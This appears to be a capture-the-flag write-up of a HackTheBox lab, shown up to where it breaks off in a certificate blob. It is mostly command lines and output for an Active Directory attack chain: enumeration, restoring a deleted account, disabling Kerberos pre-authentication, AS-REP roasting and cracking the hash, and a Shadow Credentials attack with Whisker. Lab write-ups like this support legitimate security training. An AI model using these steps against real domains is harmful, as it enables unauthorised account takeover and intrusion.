> For the complete documentation index, see [llms.txt](https://eth3real.gitbook.io/eth3real/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://eth3real.gitbook.io/eth3real/documentation/platforms/hackthebox/labs/medium/checkpoint.md). # Checkpoint ``` # Nmap 7.99 scan initiated Mon Jun 15 00:37:55 2026 as: /usr/lib/nmap/nmap --privileged -A -sV -sC -oN nop.txt -vv 10.129.22.164 Nmap scan report for 10.129.22.164 Host is up, received echo-reply ttl 127 (0.13s latency). Scanned at 2026-06-15 00:37:56 EDT for 90s Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-06-15 11:38:11Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? syn-ack ttl 127 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|11|2012|2016 (88%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Microsoft Windows Server 2022 (88%), Microsoft Windows 11 24H2 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ nxc winrm 10.129.22.164 -u alex.turner -p 'Checkpoint2024!' WINRM 10.129.22.164 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) WINRM 10.129.22.164 5985 DC01 [-] checkpoint.htb\alex.turner:Checkpoint2024! ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ nxc smb 10.129.22.164 -u alex.turner -p 'Checkpoint2024!' --shares SMB 10.129.22.164 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None) SMB 10.129.22.164 445 DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024! SMB 10.129.22.164 445 DC01 [*] Enumerated shares SMB 10.129.22.164 445 DC01 Share Permissions Remark SMB 10.129.22.164 445 DC01 ----- ----------- ------ SMB 10.129.22.164 445 DC01 ADMIN$ Remote Admin SMB 10.129.22.164 445 DC01 C$ Default share SMB 10.129.22.164 445 DC01 DevDrop READ VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0 SMB 10.129.22.164 445 DC01 IPC$ READ Remote IPC SMB 10.129.22.164 445 DC01 NETLOGON READ Logon server share SMB 10.129.22.164 445 DC01 SYSVOL READ Logon server share SMB 10.129.22.164 445 DC01 VMBackups ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ nxc smb 10.129.22.164 -u alex.turner -p 'Checkpoint2024!' --users SMB 10.129.22.164 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None) SMB 10.129.22.164 445 DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024! SMB 10.129.22.164 445 DC01 -Username- -Last PW Set- -BadPW- -Description- SMB 10.129.22.164 445 DC01 Administrator 2026-05-09 16:16:34 0 Built-in account for administering the computer/domain SMB 10.129.22.164 445 DC01 Guest 0 Built-in account for guest access to the computer/domain SMB 10.129.22.164 445 DC01 krbtgt 2026-05-09 08:41:01 0 Key Distribution Center Service Account SMB 10.129.22.164 445 DC01 alex.turner 2026-05-09 09:00:08 0 SMB 10.129.22.164 445 DC01 ryan.brooks 2026-05-10 13:46:18 0 SMB 10.129.22.164 445 DC01 svc_deploy 2026-05-09 09:01:19 0 Deployment service account SMB 10.129.22.164 445 DC01 james.harper 2026-05-09 09:02:53 0 SMB 10.129.22.164 445 DC01 sarah.mitchell 2026-05-09 09:02:58 0 SMB 10.129.22.164 445 DC01 emily.carter 2026-05-09 09:03:05 0 SMB 10.129.22.164 445 DC01 david.reynolds 2026-05-09 09:03:11 0 SMB 10.129.22.164 445 DC01 jessica.coleman 2026-05-09 09:03:15 0 SMB 10.129.22.164 445 DC01 lauren.flores 2026-05-09 09:03:21 0 SMB 10.129.22.164 445 DC01 michael.torres 2026-05-09 09:03:28 0 SMB 10.129.22.164 445 DC01 kevin.patterson 2026-05-09 09:03:33 0 SMB 10.129.22.164 445 DC01 brian.jenkins 2026-05-09 09:03:37 0 SMB 10.129.22.164 445 DC01 megan.perry 2026-05-09 09:03:42 0 SMB 10.129.22.164 445 DC01 max.palmer 2026-05-26 01:25:15 0 SMB 10.129.22.164 445 DC01 [*] Enumerated 17 local users: CHECKPOINT ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ smbclient //10.129.22.164/DevDrop -U alex.turner Password for [WORKGROUP\alex.turner]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue May 26 17:45:01 2026 .. D 0 Sat May 9 10:42:27 2026 10459391 blocks of size 4096. 2450969 blocks available ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ bloodyad --host 10.129.25.170 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable --detail distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb DACL: WRITE distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb url: WRITE wWWHomePage: WRITE distinguishedName: OU=Employees,DC=checkpoint,DC=htb device: CREATE_CHILD ipNetwork: CREATE_CHILD organizationalUnit: CREATE_CHILD intellimirrorGroup: CREATE_CHILD msImaging-PSPs: CREATE_CHILD msCOM-PartitionSet: CREATE_CHILD remoteStorageServicePoint: CREATE_CHILD nTFRSSettings: CREATE_CHILD remoteMailRecipient: CREATE_CHILD msTAPI-RtConference: CREATE_CHILD inetOrgPerson: CREATE_CHILD domainPolicy: CREATE_CHILD msTAPI-RtPerson: CREATE_CHILD msDS-App-Configuration: CREATE_CHILD container: CREATE_CHILD printQueue: CREATE_CHILD indexServerCatalog: CREATE_CHILD ipsecPolicy: CREATE_CHILD volume: CREATE_CHILD groupOfNames: CREATE_CHILD msDS-ManagedServiceAccount: CREATE_CHILD contact: CREATE_CHILD msieee80211-Policy: CREATE_CHILD document: CREATE_CHILD person: CREATE_CHILD mSMQMigratedUser: CREATE_CHILD mS-SQL-OLAPServer: CREATE_CHILD mS-SQL-SQLServer: CREATE_CHILD organizationalPerson: CREATE_CHILD msExchConfigurationContainer: CREATE_CHILD msDS-GroupManagedServiceAccount: CREATE_CHILD nisMap: CREATE_CHILD nisObject: CREATE_CHILD groupPolicyContainer: CREATE_CHILD msDS-AzAdminManager: CREATE_CHILD room: CREATE_CHILD ipService: CREATE_CHILD ipProtocol: CREATE_CHILD msPKI-Key-Recovery-Agent: CREATE_CHILD applicationVersion: CREATE_CHILD residentialPerson: CREATE_CHILD msMQ-Group: CREATE_CHILD group: CREATE_CHILD oncRpc: CREATE_CHILD serviceConnectionPoint: CREATE_CHILD msDS-AppData: CREATE_CHILD rRASAdministrationConnectionPoint: CREATE_CHILD locality: CREATE_CHILD msDS-ShadowPrincipalContainer: CREATE_CHILD classStore: CREATE_CHILD account: CREATE_CHILD user: CREATE_CHILD msMQ-Custom-Recipient: CREATE_CHILD rFC822LocalPart: CREATE_CHILD groupOfUniqueNames: CREATE_CHILD ipsecNegotiationPolicy: CREATE_CHILD ipsecNFA: CREATE_CHILD documentSeries: CREATE_CHILD rpcContainer: CREATE_CHILD serviceAdministrationPoint: CREATE_CHILD msDS-DelegatedManagedServiceAccount: CREATE_CHILD intellimirrorSCP: CREATE_CHILD organizationalRole: CREATE_CHILD msCOM-Partition: CREATE_CHILD ipsecFilter: CREATE_CHILD physicalLocation: CREATE_CHILD computer: CREATE_CHILD nisNetgroup: CREATE_CHILD applicationEntity: CREATE_CHILD dSA: CREATE_CHILD ipsecISAKMPPolicy: CREATE_CHILD distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb thumbnailPhoto: WRITE pager: WRITE mobile: WRITE homePhone: WRITE userSMIMECertificate: WRITE msDS-ExternalDirectoryObjectId: WRITE msDS-cloudExtensionAttribute20: WRITE msDS-cloudExtensionAttribute19: WRITE msDS-cloudExtensionAttribute18: WRITE msDS-cloudExtensionAttribute17: WRITE msDS-cloudExtensionAttribute16: WRITE msDS-cloudExtensionAttribute15: WRITE msDS-cloudExtensionAttribute14: WRITE msDS-cloudExtensionAttribute13: WRITE msDS-cloudExtensionAttribute12: WRITE msDS-cloudExtensionAttribute11: WRITE msDS-cloudExtensionAttribute10: WRITE msDS-cloudExtensionAttribute9: WRITE msDS-cloudExtensionAttribute8: WRITE msDS-cloudExtensionAttribute7: WRITE msDS-cloudExtensionAttribute6: WRITE msDS-cloudExtensionAttribute5: WRITE msDS-cloudExtensionAttribute4: WRITE msDS-cloudExtensionAttribute3: WRITE msDS-cloudExtensionAttribute2: WRITE msDS-cloudExtensionAttribute1: WRITE msDS-GeoCoordinatesLongitude: WRITE msDS-GeoCoordinatesLatitude: WRITE msDS-GeoCoordinatesAltitude: WRITE msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE msPKI-CredentialRoamingTokens: WRITE msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE msDS-FailedInteractiveLogonCount: WRITE msDS-LastFailedInteractiveLogonTime: WRITE msDS-LastSuccessfulInteractiveLogonTime: WRITE msDS-SupportedEncryptionTypes: WRITE msPKIAccountCredentials: WRITE msPKIDPAPIMasterKeys: WRITE msPKIRoamingTimeStamp: WRITE mSMQDigests: WRITE mSMQSignCertificates: WRITE userSharedFolderOther: WRITE userSharedFolder: WRITE url: WRITE otherIpPhone: WRITE ipPhone: WRITE assistant: WRITE primaryInternationalISDNNumber: WRITE primaryTelexNumber: WRITE otherMobile: WRITE otherFacsimileTelephoneNumber: WRITE userCert: WRITE homePostalAddress: WRITE personalTitle: WRITE wWWHomePage: WRITE otherHomePhone: WRITE streetAddress: WRITE otherPager: WRITE info: WRITE otherTelephone: WRITE userCertificate: WRITE preferredDeliveryMethod: WRITE registeredAddress: WRITE internationalISDNNumber: WRITE x121Address: WRITE facsimileTelephoneNumber: WRITE teletexTerminalIdentifier: WRITE telexNumber: WRITE telephoneNumber: WRITE physicalDeliveryOfficeName: WRITE postOfficeBox: WRITE postalCode: WRITE postalAddress: WRITE street: WRITE st: WRITE l: WRITE c: WRITE distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb shadowFlag: WRITE shadowExpire: WRITE shadowInactive: WRITE shadowWarning: WRITE shadowMax: WRITE shadowMin: WRITE shadowLastChange: WRITE loginShell: WRITE unixHomeDirectory: WRITE gecos: WRITE gidNumber: WRITE uidNumber: WRITE msSFU30NisDomain: WRITE msSFU30Name: WRITE labeledURI: WRITE userPKCS12: WRITE preferredLanguage: WRITE thumbnailLogo: WRITE thumbnailPhoto: WRITE middleName: WRITE departmentNumber: WRITE carLicense: WRITE jpegPhoto: WRITE audio: WRITE pager: WRITE mobile: WRITE secretary: WRITE homePhone: WRITE manager: WRITE photo: WRITE roomNumber: WRITE mail: WRITE textEncodedORAddress: WRITE uid: WRITE userSMIMECertificate: WRITE msDS-SupersededManagedAccountLink: WRITE msDS-SupersededServiceAccountState: WRITE msDS-preferredDataLocation: WRITE msDS-ObjectSoa: WRITE msDS-SourceAnchor: WRITE msDS-KeyCredentialLink: WRITE msDS-ExternalDirectoryObjectId: WRITE msDS-AssignedAuthNPolicy: WRITE msDS-AssignedAuthNPolicySilo: WRITE msDS-SyncServerUrl: WRITE msDS-CloudAnchor: WRITE msDS-cloudExtensionAttribute20: WRITE msDS-cloudExtensionAttribute19: WRITE msDS-cloudExtensionAttribute18: WRITE msDS-cloudExtensionAttribute17: WRITE msDS-cloudExtensionAttribute16: WRITE msDS-cloudExtensionAttribute15: WRITE msDS-cloudExtensionAttribute14: WRITE msDS-cloudExtensionAttribute13: WRITE msDS-cloudExtensionAttribute12: WRITE msDS-cloudExtensionAttribute11: WRITE msDS-cloudExtensionAttribute10: WRITE msDS-cloudExtensionAttribute9: WRITE msDS-cloudExtensionAttribute8: WRITE msDS-cloudExtensionAttribute7: WRITE msDS-cloudExtensionAttribute6: WRITE msDS-cloudExtensionAttribute5: WRITE msDS-cloudExtensionAttribute4: WRITE msDS-cloudExtensionAttribute3: WRITE msDS-cloudExtensionAttribute2: WRITE msDS-cloudExtensionAttribute1: WRITE msDS-GeoCoordinatesLongitude: WRITE msDS-GeoCoordinatesLatitude: WRITE msDS-GeoCoordinatesAltitude: WRITE msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE msDS-PrimaryComputer: WRITE msTSSecondaryDesktops: WRITE msTSPrimaryDesktop: WRITE msDS-LastKnownRDN: WRITE isRecycled: WRITE msPKI-CredentialRoamingTokens: WRITE msDS-NcType: WRITE msTSLSProperty02: WRITE msTSLSProperty01: WRITE msTSManagingLS4: WRITE msTSLicenseVersion4: WRITE msTSExpireDate4: WRITE msTSManagingLS3: WRITE msTSLicenseVersion3: WRITE msTSExpireDate3: WRITE msTSManagingLS2: WRITE msTSLicenseVersion2: WRITE msTSExpireDate2: WRITE msDS-HABSeniorityIndex: WRITE msTSManagingLS: WRITE msTSLicenseVersion: WRITE msTSExpireDate: WRITE msTSProperty02: WRITE msTSProperty01: WRITE msTSInitialProgram: WRITE msTSWorkDirectory: WRITE msTSDefaultToMainPrinter: WRITE msTSConnectPrinterDrives: WRITE msTSConnectClientDrives: WRITE msTSBrokenConnectionAction: WRITE msTSReconnectionAction: WRITE msTSMaxIdleTime: WRITE msTSMaxConnectionTime: WRITE msTSMaxDisconnectionTime: WRITE msTSRemoteControl: WRITE msTSAllowLogon: WRITE msTSHomeDrive: WRITE msTSHomeDirectory: WRITE msTSProfilePath: WRITE msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE msDS-FailedInteractiveLogonCount: WRITE msDS-LastFailedInteractiveLogonTime: WRITE msDS-LastSuccessfulInteractiveLogonTime: WRITE msDS-SupportedEncryptionTypes: WRITE msDS-AuthenticatedAtDC: WRITE msDS-PhoneticDisplayName: WRITE msDS-PhoneticCompanyName: WRITE msDS-PhoneticDepartment: WRITE msDS-PhoneticLastName: WRITE msDS-PhoneticFirstName: WRITE msDS-SecondaryKrbTgtNumber: WRITE msRADIUS-SavedFramedIpv6Route: WRITE msRADIUS-FramedIpv6Route: WRITE msRADIUS-SavedFramedIpv6Prefix: WRITE msRADIUS-FramedIpv6Prefix: WRITE msRADIUS-SavedFramedInterfaceId: WRITE msRADIUS-FramedInterfaceId: WRITE unixUserPassword: WRITE msPKIAccountCredentials: WRITE msPKIDPAPIMasterKeys: WRITE msPKIRoamingTimeStamp: WRITE msDS-SourceObjectDN: WRITE msDRM-IdentityCertificate: WRITE msDS-AllowedToDelegateTo: WRITE msIIS-FTPDir: WRITE msIIS-FTPRoot: WRITE lastLogonTimestamp: WRITE msDS-Site-Affinity: WRITE msDS-Cached-Membership-Time-Stamp: WRITE msDS-Cached-Membership: WRITE msCOM-UserPartitionSetLink: WRITE mS-DS-CreatorSID: WRITE mS-DS-ConsistencyChildCount: WRITE mS-DS-ConsistencyGuid: WRITE otherWellKnownObjects: WRITE dSCorePropagationData: WRITE accountNameHistory: WRITE proxiedObjectName: WRITE msRASSavedFramedRoute: WRITE msRASSavedFramedIPAddress: WRITE msRASSavedCallbackNumber: WRITE msRADIUSServiceType: WRITE msRADIUSFramedRoute: WRITE msRADIUSFramedIPAddress: WRITE msRADIUSCallbackNumber: WRITE msNPSavedCallingStationID: WRITE msNPCallingStationID: WRITE msNPAllowDialin: WRITE mSMQSignCertificatesMig: WRITE mSMQDigestsMig: WRITE mSMQDigests: WRITE mSMQSignCertificates: WRITE uSNSource: WRITE terminalServer: WRITE isCriticalSystemObject: WRITE altSecurityIdentities: WRITE lastKnownParent: WRITE aCSPolicyName: WRITE servicePrincipalName: WRITE userSharedFolderOther: WRITE userSharedFolder: WRITE url: WRITE otherIpPhone: WRITE ipPhone: WRITE partialAttributeDeletionList: WRITE lockoutTime: WRITE userPrincipalName: WRITE legacyExchangeDN: WRITE assistant: WRITE otherMailbox: WRITE mhsORAddress: WRITE primaryInternationalISDNNumber: WRITE primaryTelexNumber: WRITE otherMobile: WRITE otherFacsimileTelephoneNumber: WRITE userCert: WRITE showInAddressBook: WRITE partialAttributeSet: WRITE wellKnownObjects: WRITE sIDHistory: WRITE dynamicLDAPServer: WRITE systemFlags: WRITE fSMORoleOwner: WRITE desktopProfile: WRITE groupPriority: WRITE groupsToIgnore: WRITE sAMAccountType: WRITE wbemPath: WRITE division: WRITE defaultClassStore: WRITE controlAccessRights: WRITE logonCount: WRITE groupMembershipSAM: WRITE lmPwdHistory: WRITE accountExpires: WRITE comment: WRITE rid: WRITE adminCount: WRITE revision: WRITE operatorCount: WRITE profilePath: WRITE userParameters: WRITE supplementalCredentials: WRITE securityIdentifier: WRITE primaryGroupID: WRITE preferredOU: WRITE pwdLastSet: WRITE ntPwdHistory: WRITE otherLoginWorkstations: WRITE unicodePwd: WRITE userWorkstations: WRITE maxStorage: WRITE logonWorkstation: WRITE logonHours: WRITE scriptPath: WRITE localeID: WRITE dBCSPwd: WRITE lastLogon: WRITE lastLogoff: WRITE badPasswordTime: WRITE homeDrive: WRITE homeDirectory: WRITE flags: WRITE employeeID: WRITE countryCode: WRITE codePage: WRITE badPwdCount: WRITE userAccountControl: WRITE replUpToDateVector: WRITE replPropertyMetaData: WRITE objectGUID: WRITE name: WRITE homePostalAddress: WRITE personalTitle: WRITE employeeType: WRITE employeeNumber: WRITE msExchHouseIdentifier: WRITE msExchLabeledURI: WRITE USNIntersite: WRITE wWWHomePage: WRITE networkAddress: WRITE msExchAssistantName: WRITE displayNamePrintable: WRITE garbageCollPeriod: WRITE otherHomePhone: WRITE uSNDSALastObjRemoved: WRITE streetAddress: WRITE extensionName: WRITE adminDescription: WRITE proxyAddresses: WRITE adminDisplayName: WRITE showInAdvancedViewOnly: WRITE company: WRITE department: WRITE co: WRITE uSNLastObjRem: WRITE uSNChanged: WRITE otherPager: WRITE repsFrom: WRITE repsTo: WRITE info: WRITE objectVersion: WRITE dSASignature: WRITE isDeleted: WRITE uSNCreated: WRITE otherTelephone: WRITE displayName: WRITE subRefs: WRITE whenChanged: WRITE whenCreated: WRITE attributeCertificateAttribute: WRITE houseIdentifier: WRITE dn: WRITE x500uniqueIdentifier: WRITE generationQualifier: WRITE initials: WRITE givenName: WRITE userCertificate: WRITE userPassword: WRITE seeAlso: WRITE preferredDeliveryMethod: WRITE destinationIndicator: WRITE registeredAddress: WRITE internationalISDNNumber: WRITE x121Address: WRITE facsimileTelephoneNumber: WRITE teletexTerminalIdentifier: WRITE telexNumber: WRITE telephoneNumber: WRITE physicalDeliveryOfficeName: WRITE postOfficeBox: WRITE postalCode: WRITE postalAddress: WRITE businessCategory: WRITE description: WRITE title: WRITE ou: WRITE o: WRITE street: WRITE st: WRITE l: WRITE c: WRITE serialNumber: WRITE sn: WRITE objectCategory: WRITE sAMAccountName: WRITE objectSid: WRITE nTSecurityDescriptor: WRITE instanceType: WRITE cn: WRITE objectClass: WRITE distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb dnsNode: CREATE_CHILD dnsZoneScopeContainer: CREATE_CHILD distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb dnsNode: CREATE_CHILD dnsZoneScopeContainer: CREATE_CHILD ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ bloodyad --host 10.129.25.170 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb' [+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb ```
``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ bloodyad --host 10.129.26.48 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' add uac 'CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb' -f DONT_REQ_PREAUTH [+] ['DONT_REQ_PREAUTH'] property flags added to CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb's userAccountControl ``` 
┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint]
└─$ nxc ldap dc01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users
LDAP        10.129.26.48    389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert) 
LDAP        10.129.26.48    389    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
LDAP        10.129.26.48    389    DC01             [*] Enumerated 18 domain users: checkpoint.htb
LDAP        10.129.26.48    389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-                                               
LDAP        10.129.26.48    389    DC01             Administrator                 2026-05-09 12:16:34 0        Built-in account for administering the computer/domain      
LDAP        10.129.26.48    389    DC01             Guest                         <never>             0        Built-in account for guest access to the computer/domain    
LDAP        10.129.26.48    389    DC01             krbtgt                        2026-05-09 04:41:01 0        Key Distribution Center Service Account                     
LDAP        10.129.26.48    389    DC01             alex.turner                   2026-05-09 05:00:08 0                                                                    
LDAP        10.129.26.48    389    DC01             mark.davies                   2026-05-09 05:00:48 0                                                                    
LDAP        10.129.26.48    389    DC01             ryan.brooks                   2026-05-10 09:46:18 0                                                                    
LDAP        10.129.26.48    389    DC01             svc_deploy                    2026-05-09 05:01:19 0        Deployment service account                                  
LDAP        10.129.26.48    389    DC01             james.harper                  2026-05-09 05:02:53 0                                                                    
LDAP        10.129.26.48    389    DC01             sarah.mitchell                2026-05-09 05:02:58 0                                                                    
LDAP        10.129.26.48    389    DC01             emily.carter                  2026-05-09 05:03:05 0                                                                    
LDAP        10.129.26.48    389    DC01             david.reynolds                2026-05-09 05:03:11 0                                                                    
LDAP        10.129.26.48    389    DC01             jessica.coleman               2026-05-09 05:03:15 0                                                                    
LDAP        10.129.26.48    389    DC01             lauren.flores                 2026-05-09 05:03:21 0                                                                    
LDAP        10.129.26.48    389    DC01             michael.torres                2026-05-09 05:03:28 0                                                                    
LDAP        10.129.26.48    389    DC01             kevin.patterson               2026-05-09 05:03:33 0                                                                    
LDAP        10.129.26.48    389    DC01             brian.jenkins                 2026-05-09 05:03:37 0                                                                    
LDAP        10.129.26.48    389    DC01             megan.perry                   2026-05-09 05:03:42 0                                                                    
LDAP        10.129.26.48    389    DC01             max.palmer                    2026-05-25 21:25:15 0
``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ impacket-GetNPUsers -request -format john -outputfile ASREProastables_john.txt -dc-ip 10.129.26.48 'checkpoint.htb/alex.turner:Checkpoint2024!' Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies Name MemberOf PasswordLastSet LastLogon UAC ----------- -------- -------------------------- -------------------------- -------- mark.davies 2026-05-09 05:00:48.810501 2026-06-17 17:02:47.368778 0x410200 $krb5asrep$18$CHECKPOINT.HTBmark.davies$c391d8a826aad423c45fcdc26a3705579c441dccc20db6ab5a8680d11b56ba3696716d55aa40c6bf419963c2af67b203602fb1e5e8430599acf275f32964f3e51d59f4 31b42e674897fb237fdaf8ee80aba13a8668f5fd5bd73e563f610876f7be2cb56ed0022c395f1c193ca3023e3c8f31dcddf61563269260cb98c923ca078273dd91cf829534e3087e6f5b0685dfdc2c7625c75116f5575a c6640304e08306a84393f9148551b61710ebcfab89d2c6ef204478f4c98448bda102c710b137e9894b59a3d1f9d9631c9ff5b2e04b9ce055fe4b25d4f6690d911b99db91b70c53c0963f8bdc3f1ecae64ef8e57b6d5b75 3e481d7ca53a8b$94ec3e002ffe9ab987348f94 ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ john --wordlist=wordlist.txt ASREProastables_john.txt Warning: detected hash type "krb5asrep", but the string is also recognized as "HMAC-SHA256" Use the "--format=HMAC-SHA256" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 1 candidate left, minimum 32 needed for performance. Checkpoint2024! (?) 1g 0:00:00:00 DONE (2026-06-17 15:40) 12.50g/s 12.50p/s 12.50c/s 12.50C/s Checkpoint2024! Use the "--show" option to display all of the cracked passwords reliably Session completed. ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ cat wordlist.txt Checkpoint2024! ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ nxc smb 10.129.26.48 -u mark.davies -p 'Checkpoint2024!' --shares SMB 10.129.26.48 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None) SMB 10.129.26.48 445 DC01 [+] checkpoint.htb\mark.davies:Checkpoint2024! SMB 10.129.26.48 445 DC01 [*] Enumerated shares SMB 10.129.26.48 445 DC01 Share Permissions Remark SMB 10.129.26.48 445 DC01 ----- ----------- ------ SMB 10.129.26.48 445 DC01 ADMIN$ Remote Admin SMB 10.129.26.48 445 DC01 C$ Default share SMB 10.129.26.48 445 DC01 DevDrop READ,WRITE VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0 SMB 10.129.26.48 445 DC01 IPC$ READ Remote IPC SMB 10.129.26.48 445 DC01 NETLOGON READ Logon server share SMB 10.129.26.48 445 DC01 SYSVOL READ Logon server share SMB 10.129.26.48 445 DC01 VMBackups ``` Now we have a Write permission on DevDrop ``` PS C:\./Whisker.exe add /target:svc_deploy ./Whisker.exe add /target:svc_deploy [*] No path was provided. The certificate will be printed as a Base64 blob [*] No pass was provided. The certificate will be stored with the password s7FKDFKL6jStuNs5 [*] Searching for the target account [*] Target user found: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb [*] Generating certificate [*] Certificate generated [*] Generating KeyCredential [*] KeyCredential generated with DeviceID f9cd7325-a775-4ccc-8864-0d39f767c53e [*] Updating the msDS-KeyCredentialLink attribute of the target object [+] Updated the msDS-KeyCredentialLink attribute of the target object [*] You can now run Rubeus with the following syntax: Rubeus.exe asktgt /user:svc_deploy /certificate:MIIJ0AIBAzCCCYwGCSqGSIb3DQEHAaCCCX0Eggl5MIIJdTCCBhYGCSqGSIb3DQEHAaCCBgcEggYDMIIF/zCCBfsGCyqGSIb3DQEMCgECoIIE/jCCBPowHAYKKoZIhvcNAQwBAzAOBAhgENuDQ9XWyQICB9AEggTYTuoWeXkur0sZR7OHUBo8yF2KExRUkeY8ciG7TaHGAzcECW1ke3CFUh0T6MjLs3dg0jJl4uf/zkzflbMBHot+qEpdtLHTQga2ZPTdk8shMS7avU1IDHqWQMMHs28GtzkBckr9ZF14deIPcchaiLQ/zKaguTuiOg5tS0Sv/x1oPWH3nP81XS494JZh09pvMmBHKlD861GACbYoT4rfUG7g9FaJfHLWMChBfKD/msmJpOsnSp+WHJdbF4eSo5quUfbQ1pCeQLgvE3ydgT2KnQzf9MGqAv9MLEHcxieislKN0L3H89sXhAb/j813tNDrVz1Mqs6zG2lqfbPmAnLFognVzQD1KWq/Az4gm1yqKYd2aLKK0+8ilQqN1RpH6fOkgbHBPOgdu8GKVVJjgu4HybgoFY6HAQV2HAS5kqbKEfhSvSNKfu6z2LntrjwthZG0AV3UuCyf4Muv4cdB0DQSIjlxrBbTu9OCNipGuUnKAbP6Ep5NC8iWI+/ZHUUJQYSfbZ8eRWxbvuhGcppM8bSeREsB5e9hDjrZGvBaXS+Ugw0nVWEO+Eug5uDRhJxL63eB6OHHgscuRRC8BdL1PeWpVOqqENqzNOQX6N2Hb9hAZ3pNrF5XhLQdyzDNi9aL9GKuHWcAe/dxc53kmYv33eMWBFJVhXgWfdcbD9GLZrhiUIvw9k6s1h/hTdh/TD/LkA90V8zWNZi8WnnLdsg8Ox4p2ZbouZKTU0nNZUO/0HUJupIzKh+CkINhiLdvRxD5in/p9pDeyWtLxIiAyyOtLAt6zAb+kUhBmsKNOLoOhPmH2d4XDdCs3sZ